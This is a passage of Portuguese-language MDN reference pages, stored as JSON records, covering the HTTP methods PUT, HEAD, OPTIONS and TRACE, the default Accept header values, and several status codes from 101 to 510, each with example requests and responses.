patch aceito pelo servidor."}
{"title":"PUT - HTTP","text":"PUT\n===\n\nO **método de requisição** **HTTP PUT** cria um novo recurso ou subsititui uma representação do recurso de destino com os novos dados.\n\nA diferença entre `PUT` e `POST` é que `PUT` é idempotente: chamá-lo uma ou várias vezes sucessivamente terá o mesmo efeito (não é um efeito colateral), enquanto usar `POST` repetidamente pode ter efeitos adicionais, como passar uma ordem várias vezes.\n\n|  |  |\n| --- | --- |\n| A requisição tem corpo | Sim |\n| Resposta bem sucedida tem corpo | Não |\n| Safe | Não |\n| Idempotent | Sim |\n| Cacheable (en-US) | Não |\n| \n Permitido em\n formulários HTML | Não |\n\nSintaxe\n-------\n```\n\nPUT /new.html HTTP/1.1\n```\n\nExemplo\n-------\n\n### Solicitação\n```\n\nPUT /new.html HTTP/1.1\nHost: example.com\nContent-type: text/html\nContent-length: 16\n\n<p>New File</p>\n```\n\n### Resposta\n\nSe o recurso de destino não tem uma representação atual e a requisição `PUT` foi criada com sucesso, então o servidor original deve informar o agente de usuário enviando uma resposta `201` (`Created`).\n```\n\nHTTP/1.1 201 Created\nContent-Location: /new.html\n```\n\n\nSe o recurso de destino tem uma representação atual e essa representação é modificada com sucesso de acordo com o estado de representação em anexo, então o servidor original deve enviar também uma resposta `200` (`OK`) or a `204` (`No Content`) para indicar a conclusão da requisição.\n```\n\nHTTP/1.1 204 No Content\nContent-Location: /existing.html\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 4.3.4: PUT | Hypertext Transfer Protocol (HTTP/1.1): Semântica e conteúdo. |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `201`\n* `204`"}
{"title":"HEAD - HTTP","text":"HEAD\n====\n\nO **método HTTP `HEAD`** solicita os cabeçalhos retornados de um recurso específico que foi requisitado por um método HTTP `GET`. Tal solicitação pode ser feita antes de baixar um grande recurso para economizar largura de banda, por exemplo.\n\nUma resposta para um método `HEAD` não deve ter um corpo. Se tiver, deve ser ignorado. Mesmo assim, entity headers (cabeçalhos de entidade) descrevendo o conteúdo do corpo (como `Content-Length`) podem ser incluidos na resposta. Eles não se relacionam com o corpo da resposta `HEAD`, que deve estar vazio, e sim com o corpo de solicitação relacionado, usando o método `GET` que teria retornado como resposta.\n\nSe a resposta de uma solicitação `HEAD` mostrar que um recurso armazenado em cache após uma requisição `GET` está desatualizado, o cache é invalidado, mesmo se nenhuma solicitação `GET` tiver sido feita.\n\n|  |  |\n| --- | --- |\n| Solicitação tem um corpo | Não |\n| A resposta bem sucedida tem um corpo | Não |\n| Safe | Sim |\n| Idempotent | Sim |\n| Cacheable (en-US) | Sim |\n| \n Permitido em\n formulário HTML | Não |\n\nSintaxe\n-------\n```\n\nHEAD /index.html\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 4.3.2: HEAD | Hypertext Transfer Protocol (HTTP/1.1): Semântica e Conteúdo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `GET`"}
{"title":"OPTIONS - HTTP","text":"OPTIONS\n=======\n\nO \\*\\*método HTTP `OPTIONS` \\*\\*é utilizado para que um cliente possa descobrir quais as opções de requisição permitidas para um determinado recurso em um servidor. O cliente pode especificar uma URL específica no método `OPTIONS` ou um asterisco(\\*) indicando que se refere ao servidor como um todo para sanar suas dúvidas em relação as opções de requisição permitidas.\n\n|  |  |\n| --- | --- |\n| Request possui corpo | Não |\n| Resposta bem sucedida possui corpo | Não |\n| Seguro | Sim |\n| Idempotente | Sim |\n| Cacheável | Não |\n| Permitido em formulários HTML | Não |\n\nSintaxe\n-------\n```\n\nOPTIONS /index.html HTTP/1.1\nOPTIONS * HTTP/1.1\n```\n\nExemplos\n--------\n\n### Descobrindo quais tipos de requisição são permitidas\n\nPara descobrir quais tipos de requisição um servidor suporta, é possível utilizar o curl e enviar uma requisição OPTIONS:\n```\n\ncurl -X OPTIONS http://example.org -i\n```\n\n\nA resposta terá um cabeçalho `Allow` com os métodos permitidos:\n```\n\nHTTP/1.1 200 OK\nAllow: OPTIONS, GET, HEAD, POST\nCache-Control: max-age=604800\nDate: Thu, 13 Oct 2016 11:45:00 GMT\nExpires: Thu, 20 Oct 2016 11:45:00 GMT\nServer: EOS (lax004/2813)\nx-ec-custom-error: 1\nContent-Length: 0\n```\n\n### Requisições Preflighted no CORS\n\nNo CORS (en-US), uma requisição preflight com o método OPTIONS é enviada para que o servidor possa indicar se é possível enviar uma requisição específica com os parâmetros informados. No exemplo abaixo, o cabeçalho `Access-Control-Request-Method` indica para o servidor que quando a requisição específica for enviada, ela será enviada como uma requisição POST. O cabeçalho `Access-Control-Request-Headers` indica para o servidor que quando a requisição específica for enviada, ela será enviada com os cabeçalhos customizados `X-PINGOTHER` e `Content-Type`. A partir desta requisição com o método OPTIONS, o servidor possui a oportunidade de indicar se a requisição específica será aceita da forma como foi indicada pelos parâmetros supracitados (o método POST e os dois cabeçalhos customizados).\n```\n\nOPTIONS /resources/post-here/ HTTP/1.1\nHost: bar.other\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nConnection: keep-alive\nOrigin: http://foo.example\nAccess-Control-Request-Method: POST\nAccess-Control-Request-Headers: X-PINGOTHER, Content-Type\n```\n\n\nEm nosso exemplo, o servidor responde com `Access-Control-Allow-Methods` indicando que os métodos `POST`, `GET`, e `OPTIONS` são permitidos para utilização em relação ao recurso em questão. Este cabeçalho é similar ao cabeçalho de resposta `Allow` , no entanto ele somente é utilizado no contexto do CORS.\n```\n\nHTTP/1.1 200 OK\nDate: Mon, 01 Dec 2008 01:15:39 GMT\nServer: Apache/2.0.61 (Unix)\nAccess-Control-Allow-Origin: http://foo.example\nAccess-Control-Allow-Methods: POST, GET, OPTIONS\nAccess-Control-Allow-Headers: X-PINGOTHER, Content-Type\nAccess-Control-Max-Age: 86400\nVary: Accept-Encoding, Origin\nContent-Encoding: gzip\nContent-Length: 0\nKeep-Alive: timeout=2, max=100\nConnection: Keep-Alive\nContent-Type: text/plain\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 4.3.7: OPTIONS | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Allow` header\n* CORS (en-US)"}
{"title":"TRACE - HTTP","text":"TRACE\n=====\n\nO **método** \\*\\*HTTP `TRACE` \\*\\*realiza um teste de loopback enviando uma mensagem por todo o caminho até o recurso alvo no qual foi destinado, provendo um mecanismo útil para debug.\n\nO destinatário final deve responder a mensagem recebida, excluindo alguns campos descritos abaixo, de volta para o client com um status code 200 (OK) e um cabeçalho `Content-Type`. O destinatário final pode ser o servidor de origem ou o primeiro servidor a receber a requisição com o cabeçalho `Max-Forwards` (en-US) com valor 0.\n\n|  |  |\n| --- | --- |\n| Requisição possui body | No |\n| Resposta com sucesso possui body | No |\n| Seguro | No |\n| Idempotent | Yes |\n| Cacheavel | No |\n| Permitido nos formatos HTML | No |\n\nSintaxe\n-------\n```\n\nTRACE /index.html\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 4.3.8: TRACE | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* HTTP methods"}
{"title":"Lista de valores padrões de Accept - HTTP","text":"Lista de valores padrões de Accept\n==================================\n\nEste artigo documenta os valores padrão para o cabeçalho HTTP `Accept` para entradas e versões específicas do navegador.\n\nValores padrão\n--------------\n\nEstes são os valores enviados quando o contexto não fornece mais informações. Observe que todos os navegadores adicionam o tipo MIME `*/*` para cobrir todos os casos. Isso é normalmente usado para solicitações iniciadas por meio da barra de endereços de um navegador ou por meio de um elemento HTML `<a>`.\n\n| User Agent | Valor | Comentário |\n| --- | --- | --- |\n| Firefox | `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8` (desde o Firefox 66) `text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8` (no Firefox 65) `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8` (antes) | No Firefox 65 e versões anteriores, esse valor pode ser modificado usando o parâmetro `network.http.accept.default`. (fonte) |\n| Safari, Chrome | `text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8` | (fonte) |\n| Safari 5 | `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8` | Esta é uma melhoria em comparação com os cabeçalhos `Accept` já que não mais classifica `image/png` acima de `text/html` |\n| Internet Explorer 8 | `image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*` | Veja IE and the Accept Header (blog de MSDN da IEInternals). |\n| Edge | `text/html, application/xhtml+xml, image/jxr, */*` |  |\n| Opera | `text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1` |  |\n\nValores para uma imagem\n-----------------------\n\nAo solicitar uma imagem, como por meio de um elemento HTML `<img>`, user-agent geralmente define uma lista específica de tipos de mídia para ser recebida.\n\n| User Agent | Valor | Comentário |\n| --- | --- | --- |\n| Firefox | `image/webp,*/*` (desde o Firefox 65) `*/*` (desde o Firefox 47) `image/png,image/*;q=0.8,*/*;q=0.5` (antes) | Esse valor pode ser modificado usando o parâmetro `image.http.accept`. fonte |\n| Safari | `*/*` |  |\n| Chrome | `image/webp,image/apng,image/*,*/*;q=0.8` | fonte |\n| Internet Explorer 8 ou anterior | `*/*` | Veja IE and the Accept Header (blog de MSDN da IEInternals) |\n| Internet Explorer 9 | `image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5` | Veja Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals) |\n\nValores para um vídeo\n---------------------\n\nQuando um vídeo é solicitado, via o elemento HTML `<video>`, a maioria dos navegadores usam valores específicos.\n\n| User Agent | Valor | Comentário |\n| --- | --- | --- |\n| Firefox anterior a 3.6 | *sem suporte a `<video>`* |  |\n| Firefox 3.6 e posterior | `video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5` | veja bug 489071 fonte |\n| Chrome | `*/*` | fonte |\n| Internet Explorer 8 ou anterior | *sem suporte a `<video>`* |  |\n\nValores para recursos de áudio\n------------------------------\n\nQuando um arquivo de áudio é solicitado, como via o elemento HTML `<audio>`, a maioria dos navegadores usam valores específicos.\n\n| User Agent | Value | Comment |\n| --- | --- | --- |\n| Firefox 3.6 e posterior | `audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5` | Veja bug 489071 fonte |\n| Safari, Chrome | `*/*` | fonte |\n| Internet Explorer 8 ou anterior | *sem suporte para `<audio>`* |  |\n| Internet Explorer 9 | ? |  |\n\nValores para scripts\n--------------------\n\nQuando um script é solicitado, como via o elemento HTML `<script>`, alguns navegadores usam valores específicos.\n\n| User Agent | Valor | Comentário |\n| --- | --- | --- |\n| Firefox | `*/*` | Veja bug 170789 |\n| Safari, Chrome | `*/*` | fonte |\n| Internet Explorer 8 ou anterior | `*/*` | Veja IE and the Accept Header (blog de MSDN da IEInternals) |\n| Internet Explorer 9 | `application/javascript, */*;q=0.8` | Veja Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals) |\n\nValores para uma folha de estilo CSS\n------------------------------------\n\nQuando uma folha de estilo CSS é solicitada, via o elemento HTML `<link rel=\"stylesheet\">`, a maioria dos navegadores usam valores específicos.\n\n| User Agent | Valor | Comentário |\n| --- | --- | --- |\n| Firefox 4 | `text/css,*/*;q=0.1` | Veja bug 170789 fonte |\n| Internet Explorer 8 ou anterior | `*/*` | Veja IE and the Accept Header (blog de MSDN da IEInternals) |\n| Internet Explorer 9 | `text/css` | Veja Fiddler is better with Internet Explorer 9 (blog de MSDN da IEInternals) |\n| Safari, Chrome | `text/css,*/*;q=0.1` | fonte |\n| Opera 11.10 | `text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1` |  |\n| Konqueror 4.6 | `text/css,*/*;q=0.1` |  |"}
{"title":"510 Not Extended - HTTP","text":"510 Not Extended\n================\n\nO código de status da resposta HTTP **`510 Not Extended`** é enviado no contexto do HTTP Extension Framework, definido na RFC 2774.\n\nNa especificação, um cliente pode mandar uma requisição que contenha uma declaração de extensão, que descreve a extensão a ser utilizada. Se o servidor aceitar tal requisição, mas quaisquer extensões descritas na requisição não forem suportadas, o servidor então retorna uma resposta com o código de status **`510`**.\n\nStatus\n------\n```\n\n510 Not Extended\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 2774, sessão 7: 510 Not Extended | An HTTP Extension Framework |"}
{"title":"416 Range Not Satisfiable - HTTP","text":"416 Range Not Satisfiable\n=========================\n\nO código de erro de resposta HTTP **`416 Range Not Satisfiable`** indica que o servidor não pode servir as sequências solicitadas. A razão mais provável é que o documento não contenha tais sequências, ou que o valor do cabeçalho `Range`, apesar de sintaticamente correto, não faça sentido.\n\nA mensagem de resposta `416` contém um cabeçalho `Content-Range` indicando uma sequência insatisfatória (que é um `'*'`) seguido por uma `'/'` e o tamanho atual do recurso. E.g. `Content-Range: bytes */12777`\n\nObservando este erro, os navegadores geralmente, ou abortam a operação (por exemplo, o download será considerado não recuperável) ou requisitar o documento inteiro novamente.\n\nStatus\n------\n```\n\n416 Range Not Satisfiable\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7233, sessão 4.4: 416 Request Not Satisfiable | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nA informação abaixo foi buscada do GitHub da MDN (https://github.com/mdn/browser-compat-data).\n\nVeja também\n-----------\n\n* `206` `Partial Content`\n* `Content-Range`\n* `Range`"}
{"title":"101 Switching Protocols - HTTP","text":"101 Switching Protocols\n=======================\n\nO código de resposta HTTP **`101 Switching Protocols`** indica para qual protocolo o servidor está trocando, conforme solicitado por um cliente que tenha enviado uma mensagem incluindo `Upgrade` (en-US) no cabeçalho da requisição.\n\nO servidor inclui `Upgrade` (en-US) no seu cabeçalho de resposta para indicar para qual protocolo o cliente foi redirecionado. O processo é descrito detalhadamente no artigo Protocol upgrade mechanism (en-US).\n\nStatus\n------\n```\n\n101 Switching Protocols\n```\n\nExemplos\n--------\n\nSwitching protocols pode ser usado para WebSockets.\n```\n\nHTTP/1.1 101 Switching Protocols\nUpgrade: websocket\nConnection: Upgrade\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 6.2.2: 101 Switching Protocol | Hypertext Transfer Protocol (HTTP/1.1): Semânticas e Conteúdos |\n\nVeja também\n-----------\n\n* Protocol upgrade mechanism (en-US)\n* WebSockets\n* `Upgrade` (en-US)\n* `426` `Upgrade Required`"}
{"title":"508 Loop Detected - HTTP","text":"508 Loop Detected\n=================\n\nO código de resposta de erro HTTP **`508 Loop Detected`** pode ser retornado em um contexto do protocolo Web Distributed Authoring and Versioning (WebDAV) .\n\nIndica que o servidor finalizou uma operação porque encontrou um loop infinito enquando processava a requisição com \"Depth: infinity\". Esse código indica que toda a operação falhou.\n\nStatus\n------\n```\n\n508 Loop Detected\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 5842, sessão 7.2: 508 Loop Detected | Web Distributed Authoring and Versioning |"}
{"title":"412 Precondition Failed - HTTP","text":"412 Precondition Failed\n=======================\n\nO código de resposta de erro de cliente HTTP **`412 Precondition Failed`** indica que o acesso ao recurso especificado foi negado. Isso acontece com requisições condicionais em métodos que não `GET` ou `HEAD` quando a condição definida pelo cabeçalho `If-Unmodified-Since` ou `If-None-Match` não é satisfeita. Nesse caso, a requisição, geralmente um upload ou modificação de um recurso, não pode ser feita e o código de error de resposta é enviado de volta.\n\nStatus\n------\n```\n\n412 Precondition Failed\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7232, sessão 4.2: 412 Precondition Failed | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nA informação abaixo foi retirada do GitHub da MDN (https://github.com/mdn/browser-compat-data).\n\nVeja também\n-----------\n\n* `304`\n* `If-Unmodified-Since`\n* `If-None-Match`\n* `428`"}
{"title":"500 Internal Server Error - HTTP","text":"500 Internal Server Error\n=========================\n\nQuando o servidor retorna um código de erro (HTTP) 500, indica que encontrou uma condição inesperada e que o impediu de atender à solicitação.\n\nEssa resposta de erro é uma resposta genérica \"abrangente\". Às vezes, os arquivos log de servidores podem responder com um status code 500 acompanhado de mais detalhes sobre o request para evitar que no futuro erros desse tipo possam voltar a acontecer.\n\nStatus\n```\n\n500 Internal Server Error\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 6.6.1: 500 Internal Server Error | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nAs informações mostradas acima foram extraídas do GitHub da MDN (https://github.com/mdn/browser-compat-data)."}
{"title":"406 Not Acceptable - HTTP","text":"406 Not Acceptable\n==================\n\nO código de resposta do erro de cliente **`406 Not Acceptable`** indica que o servidor não pode produzir uma resposta que combine com a lista de valores aceitáveis definidas nos cabeçalhos de negociação de conteúdo da requisição proativa, e o servidor é incapaz de produzir uma representação padrão.\n\nNegociação de conteúdo proativa incluem:\n\n* `Accept`\n* `Accept-Charset`\n* `Accept-Encoding`\n* `Accept-Language`\n\nNa prática, esse erro é raramente usado. Ao invés de responder usando esse código de erro, o que poderia ser enigmático ao usuário final e difícil de arrumar, servidores ignoram o cabeçalho relevante e servem a página atual ao usuário. Se assume que mesmo que o usuário não fique completamente feliz, ele irá preferir isso ao invés do código de erro.\n\nSe o servidor retornar este status de erro, o corpo da mensagem deve conter a a lista disponíveis de representações do recurso, possibilitando ao usuário escolher entre elas.\n\nStatus\n------\n```\n\n406 Not Acceptable\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.6: 406 Not Acceptable | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nA informação mostrada abaixo foi buscada do MDN's GitHub (https://github.com/mdn/browser-compat-data).\n\nVeja também\n-----------\n\n* `Accept`\n* `Accept-Charset`\n* `Accept-Encoding`\n* `Accept-Language`\n* Negociação de conteúdo HTTP"}
{"title":"301 Moved Permanently - HTTP","text":"301 Moved Permanently\n=====================\n\nO código de resposta de status de redirecionamento **`301 Moved Permanently`** do protocolo HTTP indica que o recurso requisitado foi movido permanentemente para a URL dada pelo cabeçalho `Localização` headers. Um navegador redireciona para essa página e o motor de busca atualiza os links para o recurso (na linguagem 'SEO', é dito que o \"suco do link\" ('link-juice') é enviado à nova URL).\n\nMesmo que a especificação exija que o método (e corpo) não sejam alterados quando o redirecionamento seja executado, nem todos os agentes de usuário são alinhados com isso, você ainda pode encontrar alguns softwares com \"bugs\" que não o seguem. É recomendado que se use o código 301 somente como resposta para os métodos `GET` ou `Head` e use `308 Permanent Redirect` para `POST`, para proibir explicitamente o uso do método com esse status.\n\nStatus\n------\n```\n\n301 Moved Permanently\n```\n\nExemplo\n-------\n\n### Requisição do cliente\n```\n\nGET /index.php HTTP/1.1\nHost: www.example.org\n```\n\n### Resposta do servidor\n```\n\nHTTP/1.1 301 Moved Permanently\nLocation: http://www.example.org/index.asp\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.4.2: 301 Moved Permanently | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `308 Permanent Redirect`\n* `302 Found`, o redirecionamento temporário."}
{"title":"504 Gateway Timeout - HTTP","text":"504 Gateway Timeout\n===================\n\nO código de resposta de erro HTTP **`504 Gateway Timeout`** indica que o servidor, enquanto atuando como gateway ou proxy, não conseguiu responder em tempo.\n\nUm Gateway pode referir-se a diferentes elementos de rede e um erro 504 geralmente é algo que você não pode consertar, mas solicitar uma correção no servidor web ou proxy no qual você está tentando acessar.\n\nEstado\n------\n```\n\n504 Gateway Timeout\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.6.4: 504 Gateway Timeout | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `502`"}
{"title":"451 Unavailable For Legal Reasons - HTTP","text":"451 Unavailable For Legal Reasons\n=================================\n\nO código de erro HTTP para o cliente **`451 Unavailable For Legal Reasons`** indica que o recurso solicitado pelo usuário não está disponível por motivos legais, como em uma página web para a qual foi emitida uma ação legal.\n\nStatus\n------\n```\n\n451 Unavailable For Legal Reasons\n```\n\nExemplo\n-------\n\nEste exemplo de resposta foi obtida da RFC do IETF (veja abaixo) e contém uma referência à Monty Python's Life of Brian.\n\n**Nota:** o cabeçalho `Link` também pode conter uma relação `rel=\"blocked-by\"` identificando a entidade que solicitou o bloqueio, e não qualquer outra entidade.\n\nQualquer identificação da entidade responsável pela não disponibilidade do recurso, como o nome da pessoa ou organização que demandou a ação legal que resultou na remoção do conteúdo, deve estar no corpo da resposta, não no link `rel=\"blocked-by\"`.\n```\n\nHTTP/1.1 451 Unavailable For Legal Reasons\nLink: <https://spqr.example.org/legislatione>; rel=\"blocked-by\"\nContent-Type: text/html\n```\n\n\n```\n<html>\n      <head><title>Unavailable For Legal Reasons</title></head>\n      <body>\n            <h1>Unavailable For Legal Reasons</h1>\n            <p>This request may not be serviced in the Roman Province\n            of Judea due to the Lex Julia Majestatis, which disallows\n            access to resources hosted on servers deemed to be\n            operated by the People's Front of Judea.</p>\n     </body>\n</html>\n```\n\nEspecificações\n--------------\n\n| Epecificação | Título |\n| --- | --- |\n| RFC 7725: 451 Unavailable For Legal Reasons | An HTTP Status Code to Report Legal Obstacles |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nA informação exibida acima está sendo servida do MDN's GitHub (https://github.com/mdn/browser-compat-data).\n\nVeja também\n-----------\n\n* Wikipedia: HTTP 451\n* Wikipedia: Fahrenheit 451 (which gave this status code its number)"}
{"title":"203 Non-Authoritative Information - HTTP","text":"203 Non-Authoritative Information\n=================================\n\nA resposta com status HTTP **`203 Non-Authoritative Information`** indica que a requisição foi realizada com sucesso porém o conteúdo foi modificado por um proxy da resposta com status `200` (`OK`) do servidor de origem.\n\nA resposta `203` é similar a resposta com cabeçalho de `Warning` `214`, significando `Transformação Aplicada`, o qual tem uma vantagem adicional que pode ser aplicado a respostas com qualquer código de status.\n\nStatus\n------\n```\n\n203 Non-Authoritative Information\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 6.3.4: 203 Non-Authoritative Information | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nSee also\n--------\n\n* `200`\n* Proxy server\n* `Warning`"}
{"title":"402 Payment Required - HTTP","text":"402 Payment Required\n====================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO código de status HTTP **`402 Payment Required`** é um termo despadronizado para respostas de Status, podendo-se ter usos futuros.\n\nÀs vezes, este comando indica que o processo não pôde ser realizado em função de um pagamento não realizado. Originalmente, foi criado para validar uma micro ou grande transação e pode indicar que o método não se realiza até que o cliente efetue o pagamento. Contudo, não existem usos convecionais fixos e sua inserção varia, dependendo do contexto que é posto.\n\nStatus\n------\n```\n\n402 Payment Required\n```\n\nExemplos de resposta\n--------------------\n\n\n```bash\nHTTP/1.1 402 Payment Required\nDate: Wed, 21 Oct 2015 07:28:00 GMT\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.2: 402 Payment Required | HTTP/1.1: Semântica e contexto |\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}Veja também\n-----------\n\n* HTTP autenticação"}
{"title":"206 Partial Content - HTTP","text":"206 Partial Content\n===================\n\nO código de resposta do status de sucesso **`206 Partial Content`** indica que a requisição teve sucesso e o corpo contém a sequência (em bytes) dos dados, como descrito no cabeçalho `Range` da requisição.\n\nSe existe somente uma sequência, o `Content-Type` de toda a resposta é colocado para o tipo do documento, e o cabeçalho `Content-Range` é provido.\n\nSe várias sequências são mandadas como resposta, o `Content-Type` é colocado para `multipart/byteranges` e cada fragmento cobre uma sequência, com `Content-Range` e `Content-Type` descrevendo-os.\n\nStatus\n------\n```\n\n206 Partial Content\n```\n\nExemplos\n--------\n\nUma resposta contendo uma única sequência:\n```\n\nHTTP/1.1 206 Partial Content\nDate: Wed, 15 Nov 2015 06:25:24 GMT\nLast-Modified: Wed, 15 Nov 2015 04:58:08 GMT\nContent-Range: bytes 21010-47021/47022\nContent-Length: 26012\nContent-Type: image/gif\n\n... 26012 bytes de dados parciais de uma imagem ...\n```\n\n\nUma resposta contendo várias sequências:\n```\n\nHTTP/1.1 206 Partial Content\nDate: Wed, 15 Nov 2015 06:25:24 GMT\nLast-Modified: Wed, 15 Nov 2015 04:58:08 GMT\nContent-Length: 1741\nContent-Type: multipart/byteranges; boundary=String_separator\n\n--String_separator\nContent-Type: application/pdf\nContent-Range: bytes 234-639/8000\n\n...a primeira sequência...\n--String_separator\nContent-Type: application/pdf\nContent-Range: bytes 4590-7999/8000\n\n...a segunda sequência\n--String_separator--\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7233, sessão 4.1: 206 Partial Content | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `If-Range`\n* `Range`\n* `Content-Range`\n* `Content-Type`"}
{"title":"501 Not Implemented - HTTP","text":"501 Not Implemented\n===================\n\nO código de resposta HTTP **`501 Not Implemented`** indica que o servidor não suporta a funcionalidade requerida para completar a requisição. Esta é a resposta apropriada para quando o servidor não reconhece o método requisitado e não tem capacidade de suporta-lo para nenhum recurso. Os únicos métodos de requisição que os servidores suportam obrigatóriamente ( e, portanto, isso não deve retornar este código) são `GET` e `HEAD`.\n\n**Nota:** **Notas:**\n\n* A 501 error is not something you can fix, but requires a fix by the web server you are trying to access.\n* Uma resposta 501 é cacheada por padrão, ou seja, a menos que os cabeçalhos de cache indiquem outra forma.\n\nStatus\n------\n```\n\n501 Not Implemented\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.6.2: 501 Not Implemented | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nThe information shown below has been pulled from MDN's GitHub (https://github.com/mdn/browser-compat-data)."}
{"title":"407 Proxy Authentication Required - HTTP","text":"407 Proxy Authentication Required\n=================================\n\nO código de resposta HTTP \\*\\*`407 Proxy Authentication Required` \\*\\*indica um erro do lado cliente, informando que uma solicitação não está sendo bem aplicada. Isso ocorre porque falta a validar as credencias de autenticação para um proxy server que intermedia o navegador e o servidor que pode acessar o recurso solicitado.\n\nEste erro é enviado com um cabeçalho `Proxy-Authenticate` que contém informações de como fazer uma autorização correta.\n\nStatus\n------\n```\n\n407 Proxy Authentication Required\n```\n\nExemplo de resposta\n-------------------\n```\n\nHTTP/1.1 407 Proxy Authentication Required\nDate: Wed, 21 Oct 2015 07:28:00 GMT\nProxy-Authenticate: Basic realm=\"Access to internal site\"\n```\n\nEspecificações\n--------------\n\n| Epecificação | Título |\n| --- | --- |\n| RFC 7235, sessão 3.2: 407 Proxy Authentication Required | HTTP/1.1: Authentication |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Autenticação HTTP\n* `WWW-Authenticate`\n* `Authorization`\n* `Proxy-Authorization`\n* `Proxy-Authenticate`\n* `401`, `403`"}
